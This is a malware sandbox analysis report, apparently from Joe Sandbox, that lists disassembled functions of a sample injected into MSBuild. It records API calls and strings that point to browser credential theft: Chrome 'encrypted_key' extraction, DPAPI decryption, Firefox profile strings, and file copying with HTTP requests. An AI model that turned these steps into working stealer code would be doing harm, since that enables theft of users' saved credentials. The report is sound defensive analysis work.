String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: b9c3853fef23caf07c4bbe14b1cc1093c34e1e9f3ec2cfce986836b4223b7196
Instruction ID: 1d1035b7872eafe5bc2acfcfd9c5443481a9431a5cd399c5b03dff48eed801cb
Opcode Fuzzy Hash: b9c3853fef23caf07c4bbe14b1cc1093c34e1e9f3ec2cfce986836b4223b7196
Instruction Fuzzy Hash: 20315C71940714ABCF16EF2AED0245D7BA2AB48706F10607BF440B72B0DB7A1A81CF89

Function 00416ED6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55stringCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00416EDD
lstrlenA.KERNEL32(?,0000001C), ref: 00416EE8
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416F6C

Strings

ERROR, xrefs: 00416F64

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: H_prolog3_catchlstrlen
String ID: ERROR
API String ID: 591506033-2861137601
Opcode ID: 3839105bb85ea6eef1903a5d03da892e36e8fa90d6621a210e44ba5eb4c8eece
Instruction ID: 206493d018c0af61ad3247b9a1edf73ec3ff293b71de332acb6c3f6d1aa8c941
Opcode Fuzzy Hash: 3839105bb85ea6eef1903a5d03da892e36e8fa90d6621a210e44ba5eb4c8eece
Instruction Fuzzy Hash: 5711B131900209AFCB40FF75D9026DCBBB1BF04308B80413AE814E3191D739EAA98FC9

Function 0041224A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,=A,00000000,?), ref: 0041226C
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00412287
CloseHandle.KERNEL32(00000000), ref: 0041228E

Strings

=A, xrefs: 0041225D, 00412262

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID: =A
API String ID: 3183270410-2399317284
Opcode ID: 72c40201efdd98e4edf8bbd3583afce16a5aafa9b07f53dd0fe7720fa140496e
Instruction ID: ac01e61fcc3a8dc6a5e43971812eb7396920612e483317b6d6b91c956b259603
Opcode Fuzzy Hash: 72c40201efdd98e4edf8bbd3583afce16a5aafa9b07f53dd0fe7720fa140496e
Instruction Fuzzy Hash: 84F0B471600218ABDB24EB68DC45FEF77BC9B44B08F10006AF645D7180EEB5DAC58B54

Function 0040B332 Relevance: 6.2, APIs: 4, Instructions: 196filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001), ref: 0040B3D7
lstrlenA.KERNEL32(?), ref: 0040B529
lstrlenA.KERNEL32(?), ref: 0040B544
DeleteFileA.KERNEL32(?), ref: 0040B596

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: ad945740b977ff1f36274d2f8366a4f9c8c35b8e2ebe285de2857eeab0d8ecfe
Instruction ID: f20441c87b7e9a3b4f7029758dad72c3b509e7d63b864ac140ecc9ec0d22b659
Opcode Fuzzy Hash: ad945740b977ff1f36274d2f8366a4f9c8c35b8e2ebe285de2857eeab0d8ecfe
Instruction Fuzzy Hash: 2D714072A00119ABCF01FBA5EE468CD7775EF14309F104036F500B71A2DBB9AE898B98

Function 0040D40E Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 125stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

StrStrA.SHLWAPI(00000000,?,00437538,0043688A), ref: 0040D49F
lstrlenA.KERNEL32(?), ref: 0040D4B2

Strings

moz-extension+++, xrefs: 0040D4DD
^userContextId=4294967295, xrefs: 0040D4D7

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$File$AllocLocallstrcatlstrlen$CloseCreateHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 161838763-3310892237
Opcode ID: cbba276434d546cccf2bd678ca27597ed33bff2c91600e4374d997312367dd2d
Instruction ID: 85de75ec200c89e9111d7c6d064248f53d90c55406061a5cb20e0ca06024b096
Opcode Fuzzy Hash: cbba276434d546cccf2bd678ca27597ed33bff2c91600e4374d997312367dd2d
Instruction Fuzzy Hash: 15410B76A001199BCF10FBA6DD465CD77B5AF04308F51003AFD00B3192DBB8AE4D8AE9

Function 0040819F Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32($g@,00000000,00000001,00000000,?,00000000,00000000), ref: 00408060
Part of subcall function 00408048: LocalAlloc.KERNEL32(00000040,?,?,?,00406724,?), ref: 0040806E
Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408084
Part of subcall function 00408048: LocalFree.KERNEL32(?,?,?,00406724,?), ref: 00408093

Part of subcall function 004080A1: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,0040823B), ref: 004080C4
Part of subcall function 004080A1: LocalAlloc.KERNEL32(00000040,0040823B,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080D8
Part of subcall function 004080A1: LocalFree.KERNEL32(0040CB95,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080FD

Strings

DPAPI, xrefs: 0040821B
, xrefs: 00408241
"encrypted_key":", xrefs: 004081DF

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFile$BinaryFreeString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2311102621-738592651
Opcode ID: b934a5c9f4b9294abdda28911d3b7a5b7bcb53dff378b74b8385ba15c3e2a5a6
Instruction ID: d78dfd73ee8100a23edce15a91f2c70fa2f38e8288fa49592993377d3a11e596
Opcode Fuzzy Hash: b934a5c9f4b9294abdda28911d3b7a5b7bcb53dff378b74b8385ba15c3e2a5a6
Instruction Fuzzy Hash: 1121C232E40209ABDF14EB91DD41ADE7378AF41364F2045BFE950B72D1DF38AA49CA58

Function 00416330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,00000000,?), ref: 00416378
lstrcatA.KERNEL32(?), ref: 00416396

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416018
Part of subcall function 00415FD1: FindFirstFileA.KERNEL32(?,?), ref: 0041602F
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416091
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160C2
Part of subcall function 00415FD1: PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?), ref: 00416125
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 0041614A
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 00416170

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160D9
Part of subcall function 00415FD1: CopyFileA.KERNEL32(?,?,00000001), ref: 00416229
Part of subcall function 00415FD1: DeleteFileA.KERNEL32(?), ref: 0041629D
Part of subcall function 00415FD1: FindNextFileA.KERNEL32(?,?), ref: 004162FF
Part of subcall function 00415FD1: FindClose.KERNEL32(?), ref: 00416313

Strings

~{A, xrefs: 004164AE

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: ~{A
API String ID: 2104210347-1816022387
Opcode ID: 48da02e1e35bd615d58e63d55da032bf86aad5faf3161476d003d3cbf91425f6
Instruction ID: ef6e44f044fd48bf473e8ed9b3318a571f04af2e7fbcf45178638c8cb6289389
Opcode Fuzzy Hash: 48da02e1e35bd615d58e63d55da032bf86aad5faf3161476d003d3cbf91425f6
Instruction Fuzzy Hash: 3231F77280010DEFDF15EB60DC43EE8377AEB08314F1440AEF606932A1EA769B919F55

Function 0041683E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00406963: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
Part of subcall function 00406963: StrCmpCA.SHLWAPI(?), ref: 004069DF
Part of subcall function 00406963: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
Part of subcall function 00406963: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
Part of subcall function 00406963: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
Part of subcall function 00406963: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
Part of subcall function 00406963: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416873

Strings

ERROR, xrefs: 0041686B
ERROR, xrefs: 00416896

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: HttpInternet$OpenRequest$ConnectInfoOptionQuerySendlstrcpy
String ID: ERROR$ERROR
API String ID: 3086566538-2579291623
Opcode ID: c006aa10760bc954efd806e84495a2d06b24e97a73256d69b96c1a27bfc4838e
Instruction ID: fa6cd13a443083575c3a824eeb1e5676c961334a8f4b47820412c2fdc9a040c1
Opcode Fuzzy Hash: c006aa10760bc954efd806e84495a2d06b24e97a73256d69b96c1a27bfc4838e
Instruction Fuzzy Hash: 6F014F75A00118ABCB20FB76D9469CD73A96F04308F55417BBC24E3293E7B8E9494AD9

Function 00416FA7 Relevance: 4.6, APIs: 3, Instructions: 70sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8,?,?), ref: 0041700E
CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CreateObjectSingleSleepThreadWait
String ID:
API String ID: 4198075804-0
Opcode ID: 1c6142cbbd9849c9f35e06356520fbbbc19007ee5fb9fef6d8df9f607a11363d
Instruction ID: 6ddc57dea45eff21f3b413cd8a29bb57df9be50e409c6c2ee2748a51ac3a6ecc
Opcode Fuzzy Hash: 1c6142cbbd9849c9f35e06356520fbbbc19007ee5fb9fef6d8df9f607a11363d
Instruction Fuzzy Hash: E6217832900229ABCF10EF96EC419DE7BB9FF44358F10402BF904A3150D738AA86CFA4

Function 00412446 Relevance: 4.5, APIs: 3, Instructions: 41fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00414A8D), ref: 00412460
WriteFile.KERNEL32(00000000,00000000,00414A8D,00414A8D,00000000,?,?,?,00414A8D), ref: 00412487
CloseHandle.KERNEL32(00000000,?,?,?,00414A8D), ref: 0041249E

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWrite
String ID:
API String ID: 1065093856-0
Opcode ID: 618600667c8334e05266c7920bfcba6b014638909509334c775888355d968c7c
Instruction ID: a587d297adf89e60fa6946fdd7da6f666782c0f167f87b21f29bcfda1cd19bad
Opcode Fuzzy Hash: 618600667c8334e05266c7920bfcba6b014638909509334c775888355d968c7c
Instruction Fuzzy Hash: 84F02471200118BFEF01AFA4DD8AFEF379CDF053A8F000022F951D6190D3A58D9157A5

Function 004047E8 Relevance: 4.5, APIs: 3, Instructions: 41memorystringCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000010,?,?,?,?,00402B7F,00437BE8,AVAI4Z1EK55HX1Z,?,?,004185C8), ref: 004047F4
RtlAllocateHeap.NTDLL(00000000,?,?,?,?,00402B7F,00437BE8,AVAI4Z1EK55HX1Z,?,?,004185C8), ref: 004047FB
lstrlenA.KERNEL32(?,?,?,?,?,?,00402B7F,00437BE8,AVAI4Z1EK55HX1Z,?,?,004185C8), ref: 00404820

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrlen
String ID:
API String ID: 1693254673-0
Opcode ID: 8074fa98e5106fb31542b65a080cc7a702fc493d418dc8a29be0ce77625ab5d7
Instruction ID: c1c2a1756ddd6d36577e577c70f4ebc99918bb36c0aa18dfb8bf9e6a2b2e2386
Opcode Fuzzy Hash: 8074fa98e5106fb31542b65a080cc7a702fc493d418dc8a29be0ce77625ab5d7
Instruction Fuzzy Hash: 1B01A276600248FFDB05CFACD9847ADBBF9EF89310F1481AAE944EB201D6709E00DB54

Function 6CAA3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CAA3095

Part of subcall function 6CAA35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CB2F688,00001000), ref: 6CAA35D5
Part of subcall function 6CAA35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CAA35E0
Part of subcall function 6CAA35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CAA35FD
Part of subcall function 6CAA35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CAA363F
Part of subcall function 6CAA35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CAA369F
Part of subcall function 6CAA35A0: __aulldiv.LIBCMT ref: 6CAA36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAA309F

Part of subcall function 6CAC5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CAC56EE,?,00000001), ref: 6CAC5B85
